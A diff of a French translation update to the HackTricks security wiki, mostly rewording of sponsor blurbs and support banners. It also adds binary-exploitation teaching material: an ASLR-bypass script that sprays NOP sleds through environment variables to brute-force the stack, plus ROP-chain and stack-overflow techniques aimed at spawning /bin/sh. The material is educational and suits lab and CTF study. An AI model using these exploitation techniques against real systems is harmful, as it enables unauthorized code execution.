Translated ['README.md', 'binary-exploitation/common-binary-protections-

README.md

@@ -32,7 +32,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
 
 <figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
 
-[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
+[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
 
 {% embed url="https://www.rootedcon.com/" %}
 
@@ -42,9 +42,9 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
 
 <figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
 
-**Intigriti** est la plateforme de **chasse aux bugs** et de **piratage éthique n°1 en Europe.**
+**Intigriti** est la plateforme de **bug bounty** et de **piratage éthique n°1 en Europe.**
 
-**Astuce de chasse aux bugs** : **inscrivez-vous** sur **Intigriti**, une **plateforme de chasse aux bugs premium créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
+**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
 
 {% embed url="https://go.intigriti.com/hacktricks" %}
 
@@ -67,13 +67,13 @@ Accédez dès aujourd'hui :
 
 <figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
 
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
+Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes !
 
 * **Perspectives de Piratage :** Impliquez-vous dans du contenu qui explore l'excitation et les défis du piratage
 * **Actualités de Piratage en Temps Réel :** Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et perspectives en temps réel
-* **Dernières Annonces :** Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
+* **Dernières Annonces :** Restez informé des derniers lancements de bug bounties et des mises à jour cruciales de la plateforme
 
-**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !
+**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
 
 ***
 
@@ -81,7 +81,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
 
 <figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
 
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser.
+**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
 
 {% embed url="https://pentest-tools.com/" %}
 
@@ -112,9 +112,9 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
 
 ### [WebSec](https://websec.nl/)
 
-<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
 
-[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en matière de cybersécurité en fournissant des services de **sécurité offensive** avec une **approche moderne**.
+[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une **approche moderne**.
 
 WebSec est une **entreprise de sécurité tout-en-un** ce qui signifie qu'ils font tout ; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
 
@@ -122,7 +122,7 @@ Une autre chose cool à propos de WebSec est que contrairement à la moyenne de
 
 En plus de ce qui précède, WebSec est également un **supporter engagé de HackTricks.**
 
-<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
+{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
 ## Licence & Avertissement
 
 Consultez-les ici :
@@ -139,8 +139,8 @@ Autres façons de soutenir HackTricks :
 
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
 
 </details>

SUMMARY.md

@@ -689,10 +689,12 @@
   * [Exploiting Tools](binary-exploitation/basic-binary-exploitation-methodology/tools/README.md)
     * [PwnTools](binary-exploitation/basic-binary-exploitation-methodology/tools/pwntools.md)
 * [Stack Overflow](binary-exploitation/stack-overflow/README.md)
-  * [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode.md)
-  * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   * [Pointer Redirecting](binary-exploitation/stack-overflow/pointer-redirecting.md)
-  * [Ret2win](binary-exploitation/stack-overflow/ret2win.md)
+  * [Ret2win](binary-exploitation/stack-overflow/ret2win/README.md)
+    * [Ret2win - arm64](binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md)
+  * [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode/README.md)
+    * [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
+  * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   * [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
 * [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
   * [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)

binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

@@ -2,7 +2,7 @@
 
 <details>
 
-<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
 
 Autres façons de soutenir HackTricks :
 
@@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks:
 
 ## Informations de base
 
-**La randomisation de l'agencement de l'espace d'adressage (ASLR)** est une technique de sécurité utilisée dans les systèmes d'exploitation pour **randomiser les adresses mémoire** utilisées par les processus système et d'application. Ce faisant, il devient significativement plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, réduisant ainsi certains types d'exploits, en particulier les débordements de tampon.
+**La randomisation de l'agencement de l'espace d'adressage (ASLR)** est une technique de sécurité utilisée dans les systèmes d'exploitation pour **randomiser les adresses mémoire** utilisées par les processus système et d'application. Ce faisant, il devient beaucoup plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, ce qui permet de réduire certains types d'exploits, en particulier les débordements de tampon.
 
 ### **Vérification du statut de l'ASLR**
 
@@ -59,7 +59,7 @@ Après avoir modifié `/etc/sysctl.conf`, appliquez les changements avec :
 ```bash
 sudo sysctl -p
 ```
-Cela garantira que vos paramètres ASLR restent les mêmes après les redémarrages.
+Cela garantira que vos paramètres ASLR restent en place après les redémarrages.
 
 ## **Contournements**
 
@@ -75,8 +75,8 @@ Les données précédentes sont pour les systèmes 32 bits et l'entropie finale
 
 #### Idées de force brute :
 
-* Si vous avez un débordement suffisamment important pour accueillir un **grand toboggan NOP avant le shellcode**, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux **saute par-dessus une partie du toboggan NOP**.
-* Une autre option pour cela, dans le cas où le débordement n'est pas si important et que l'exploit peut être exécuté localement, est de **ajouter le toboggan NOP et le shellcode dans une variable d'environnement**.
+* Si vous avez un débordement suffisamment important pour accueillir un **grand toboggan NOP avant le code shell**, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux **saute par-dessus une partie du toboggan NOP**.
+* Une autre option pour cela, dans le cas où le débordement n'est pas si important et que l'exploit peut être exécuté localement, est de **ajouter le toboggan NOP et le code shell dans une variable d'environnement**.
 * Si l'exploit est local, vous pouvez essayer de forcer la base de l'adresse de la libc (utile pour les systèmes 32 bits) :
 ```python
 for off in range(0xb7000000, 0xb8000000, 0x1000):
@@ -84,21 +84,90 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
 * Lors de l'attaque d'un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `usleep` de la `libc`**, en passant 10 comme argument. Si à un moment donné le **serveur met 10 secondes supplémentaires à répondre**, vous avez trouvé l'adresse de cette fonction.
 
 {% hint style="success" %}
-Sur les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela n'est pas possible.
+Sur les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela ne devrait pas être possible.
 {% endhint %}
 
+### Forçage brutal de la pile sur 64 bits
+
+Il est possible d'occuper une grande partie de la pile avec des variables d'environnement, puis d'essayer d'abuser du binaire des centaines/milliers de fois localement pour l'exploiter.\
+Le code suivant montre comment il est possible de **simplement sélectionner une adresse dans la pile** et à chaque **quelques centaines d'exécutions**, cette adresse contiendra l'**instruction NOP**:
+```c
+//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
+#include <stdio.h>
+
+int main() {
+unsigned long long address = 0xffffff1e7e38;
+unsigned int* ptr = (unsigned int*)address;
+unsigned int value = *ptr;
+printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
+return 0;
+}
+```
+
+```python
+import subprocess
+import traceback
+
+# Start the process
+nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
+n_nops = int(128000/4)
+shellcode_env_var = nop * n_nops
+
+# Define the environment variables you want to set
+env_vars = {
+'a': shellcode_env_var,
+'b': shellcode_env_var,
+'c': shellcode_env_var,
+'d': shellcode_env_var,
+'e': shellcode_env_var,
+'f': shellcode_env_var,
+'g': shellcode_env_var,
+'h': shellcode_env_var,
+'i': shellcode_env_var,
+'j': shellcode_env_var,
+'k': shellcode_env_var,
+'l': shellcode_env_var,
+'m': shellcode_env_var,
+'n': shellcode_env_var,
+'o': shellcode_env_var,
+'p': shellcode_env_var,
+}
+
+cont = 0
+while True:
+cont += 1
+
+if cont % 10000 == 0:
+break
+
+print(cont, end="\r")
+# Define the path to your binary
+binary_path = './aslr-testing'
+
+try:
+process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
+output = process.communicate()[0]
+if "0xd5" in str(output):
+print(str(cont) + " -> " + output)
+except Exception as e:
+print(e)
+print(traceback.format_exc())
+pass
+```
+<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>
+
 ### Informations locales (`/proc/[pid]/stat`)
 
 Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tout le monde et il **contient des informations intéressantes** telles que :
 
-* **startcode** & **endcode** : Adresses au-dessus et en dessous avec le **TEXT** du binaire
-* **startstack** : L'adresse du début de la **pile**
-* **start\_data** & **end\_data** : Adresses au-dessus et en dessous où se trouve le **BSS**
-* **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
-* **arg\_start** & **arg\_end** : Adresses au-dessus et en dessous où se trouvent les **arguments de la ligne de commande**
-* **env\_start** & **env\_end** : Adresses au-dessus et en dessous où se trouvent les **variables d'environnement**
+- **startcode** & **endcode** : Adresses au-dessus et en dessous avec le **TEXT** du binaire
+- **startstack** : L'adresse du début de la **pile**
+- **start\_data** & **end\_data** : Adresses au-dessus et en dessous où se trouve le **BSS**
+- **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
+- **arg\_start** & **arg\_end** : Adresses au-dessus et en dessous où se trouvent les **arguments de la ligne de commande**
+- **env\_start** & **env\_end** : Adresses au-dessus et en dessous où se trouvent les **variables d'environnement**
 
-Par conséquent, si l'attaquant se trouve sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un dépassement à partir d'arguments bruts, mais d'une **entrée qui peut être construite après la lecture de ce fichier**. Il est possible pour un attaquant de **récupérer certaines adresses de ce fichier et de construire des décalages à partir d'elles pour l'exploitation**.
+Par conséquent, si l'attaquant se trouve sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un dépassement à partir des arguments bruts, mais à partir d'une **entrée différente qui peut être créée après la lecture de ce fichier**. Il est possible pour un attaquant de **récupérer certaines adresses à partir de ce fichier et de construire des décalages à partir d'elles pour l'exploitation**.
 
 {% hint style="success" %}
 Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`
@@ -106,7 +175,7 @@ Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-p
 
 ### Avoir une fuite
 
-* **Le défi consiste à donner une fuite**
+- **Le défi consiste à donner une fuite**
 
 Si vous disposez d'une fuite (dans le cadre de défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de la libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de l'[**exemple d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails) :
 ```python
@@ -170,7 +239,7 @@ Essayez de contourner l'ASLR en abusant des adresses à l'intérieur de la pile:
 
 ### vsyscall
 
-Le mécanisme **`vsyscall`** sert à améliorer les performances en permettant à certaines appels système d'être exécutés dans l'espace utilisateur, bien qu'ils fassent fondamentalement partie du noyau. L'avantage critique des **vsyscalls** réside dans leurs **adresses fixes**, qui ne sont pas soumises à la **ASLR** (Randomisation de l'Agencement de l'Espace d'Adresses). Cette nature fixe signifie que les attaquants n'ont pas besoin d'une vulnérabilité de fuite d'informations pour déterminer leurs adresses et les utiliser dans une exploitation.\
+Le mécanisme **`vsyscall`** vise à améliorer les performances en permettant à certaines appels système d'être exécutés dans l'espace utilisateur, bien qu'ils fassent fondamentalement partie du noyau. L'avantage critique des **vsyscalls** réside dans leurs **adresses fixes**, qui ne sont pas soumises à la **ASLR** (Randomisation de l'Agencement de l'Espace d'Adresses). Cette nature fixe signifie que les attaquants n'ont pas besoin d'une vulnérabilité de fuite d'informations pour déterminer leurs adresses et les utiliser dans une exploitation.\
 Cependant, aucun gadget super intéressant ne sera trouvé ici (bien qu'il soit par exemple possible d'obtenir un équivalent `ret;`)
 
 (L'exemple et le code suivants proviennent de [**cette analyse**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))

binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md

@@ -6,29 +6,29 @@
 
 Autres façons de soutenir HackTricks :
 
-* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
 
 </details>
 
 ## Informations de base
 
-Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec certains arguments pour exécuter `/bin/sh`. Cette technique est généralement utilisée sur des binaires compilés de manière statique, il peut donc y avoir de nombreux gadgets et instructions syscall.
+Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec certains arguments pour exécuter `/bin/sh`. Cette technique est généralement utilisée sur des binaires compilés de manière statique, donc il peut y avoir de nombreux gadgets et instructions syscall.
 
 Pour préparer l'appel du **syscall**, la configuration suivante est nécessaire :
 
-* `rax: 59 Spécifie sys_execve`
-* `rdi: ptr vers "/bin/sh" spécifie le fichier à exécuter`
-* `rsi: 0 spécifie qu'aucun argument n'est passé`
-* `rdx: 0 spécifie qu'aucune variable d'environnement n'est passée`
+- `rax: 59 Spécifie sys_execve`
+- `rdi: ptr vers "/bin/sh" spécifie le fichier à exécuter`
+- `rsi: 0 spécifie qu'aucun argument n'est passé`
+- `rdx: 0 spécifie qu'aucune variable d'environnement n'est passée`
 
 Donc, fondamentalement, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part, puis d'effectuer le `syscall` (en tenant compte du rembourrage nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire `/bin/sh` dans une zone connue.
 
 {% hint style="success" %}
-Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les autorisations d'une page en mémoire**. Cela peut être combiné avec [**ret2shellcode**](../stack-overflow/stack-shellcode.md).
+Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les autorisations d'une page en mémoire**. Cela peut être combiné avec [**ret2shellcode**](../stack-overflow/stack-shellcode/).
 {% endhint %}
 
 ## Gadgets de registre
@@ -58,7 +58,7 @@ Start              End                Offset             Perm Path
 ```
 ### Écrire une chaîne en mémoire
 
-Ensuite, vous devez trouver un moyen d'écrire du contenu arbitraire à cette adresse
+Ensuite, vous devez trouver un moyen d'écrire un contenu arbitraire à cette adresse
 ```python
 ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
@@ -70,6 +70,8 @@ La commande suivante crée une chaîne ROP complète `sys_execve` en donnant un
 ROPgadget --binary vuln --ropchain
 ```
 #### 32 bits
+
+Dans un programme 32 bits, les registres sont de 32 bits de long. Cela signifie que les adresses mémoire sont également sur 32 bits. Lorsque vous effectuez un appel système, vous devez placer le numéro de l'appel système dans le registre EAX, puis les arguments dans les registres EBX, ECX, EDX, ESI, EDI, EBP. Une fois que vous avez placé les arguments dans les registres, vous pouvez déclencher l'appel système en utilisant l'instruction `int 0x80`.
 ```python
 '''
 Lets write "/bin/sh" to 0x6b6000
@@ -109,7 +111,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
 ## Gadgets Manquants
 
-Si vous **manquez de gadgets**, par exemple pour écrire `/bin/sh` en mémoire, vous pouvez utiliser la technique **SROP pour contrôler toutes les valeurs des registres** (y compris RIP et les registres des paramètres) à partir de la pile :
+Si vous **manquez de gadgets**, par exemple pour écrire `/bin/sh` en mémoire, vous pouvez utiliser la technique **SROP pour contrôler toutes les valeurs des registres** (y compris RIP et les registres de paramètres) à partir de la pile :
 
 {% content-ref url="srop-sigreturn-oriented-programming.md" %}
 [srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)

binary-exploitation/stack-overflow/README.md

@@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks :
 
 Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la pile qu'il n'est alloué pour en contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
 
-Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour retourner à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ceux-ci et **contrôler le flux d'exécution du programme**.
+Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour retourner à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**.
 
 La vulnérabilité survient généralement parce qu'une fonction **copie à l'intérieur de la pile plus d'octets que la quantité qui lui est allouée**, ce qui lui permet d'écraser d'autres parties de la pile.
 
@@ -35,9 +35,9 @@ printf("You entered: %s\n", buffer);
 ```
 ### Trouver les décalages des débordements de pile
 
-La manière la plus courante de trouver des débordements de pile est de fournir une entrée très grande de `A` (par exemple, `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
+La manière la plus courante de trouver des débordements de pile est de fournir une entrée très grande de `A`s (par exemple `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
 
-De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **écraser l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn**. Qui, pour un alphabet donné de taille _k_ et de sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_** apparaît exactement une fois** en tant que sous-séquence contiguë.
+De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **remplacer l'adresse de retour**, pour cela on utilise généralement une **séquence de De Bruijn**. Qui, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_** apparaît exactement une fois comme une sous-séquence contiguë.
 
 De cette manière, au lieu de devoir déterminer manuellement quel décalage est nécessaire pour contrôler l'EIP, il est possible d'utiliser l'une de ces séquences comme rembourrage, puis de trouver le décalage des octets qui ont fini par l'écraser.
 
@@ -63,7 +63,7 @@ pattern search $rsp #Search the offset given the content of $rsp
 ## Exploiter les débordements de pile
 
 Lors d'un débordement (en supposant que la taille du débordement est suffisamment grande), vous pourrez **écraser** les valeurs des variables locales à l'intérieur de la pile jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (voire plus)**.\
-La manière la plus courante d'exploiter ce type de vulnérabilité est en **modifiant l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé où l'utilisateur l'a spécifié** dans ce pointeur.
+La manière la plus courante d'exploiter ce type de vulnérabilité est de **modifier l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé là où l'utilisateur l'a spécifié** dans ce pointeur.
 
 Cependant, dans d'autres scénarios, peut-être que simplement **écraser les valeurs de certaines variables dans la pile** pourrait suffire pour l'exploitation (comme dans les défis CTF faciles).
 
@@ -71,21 +71,21 @@ Cependant, dans d'autres scénarios, peut-être que simplement **écraser les va
 
 Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver le **décalage pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
 
-{% content-ref url="ret2win.md" %}
-[ret2win.md](ret2win.md)
+{% content-ref url="ret2win/" %}
+[ret2win](ret2win/)
 {% endcontent-ref %}
 
 ### Shellcode de pile
 
-Dans ce scénario, l'attaquant pourrait placer un shellcode dans la pile et exploiter l'EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire :
+Dans ce scénario, l'attaquant pourrait placer un shellcode dans la pile et abuser de l'EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire :
 
-{% content-ref url="stack-shellcode.md" %}
-[stack-shellcode.md](stack-shellcode.md)
+{% content-ref url="stack-shellcode/" %}
+[stack-shellcode](stack-shellcode/)
 {% endcontent-ref %}
 
 ### ROP & techniques Ret2...
 
-Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pas de pile exécutable (NX)**. Et elle permet d'effectuer plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en exploitant les instructions existantes dans le binaire :
+Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pas de pile exécutable (NX)**. Et elle permet d'effectuer plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
 
 {% content-ref url="../rop-return-oriented-programing/" %}
 [rop-return-oriented-programing](../rop-return-oriented-programing/)

binary-exploitation/stack-overflow/ret2win/README.md

@@ -0,0 +1,127 @@
+# Ret2win
+
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+
+Autres façons de soutenir HackTricks :
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+
+</details>
+
+## Informations de base
+
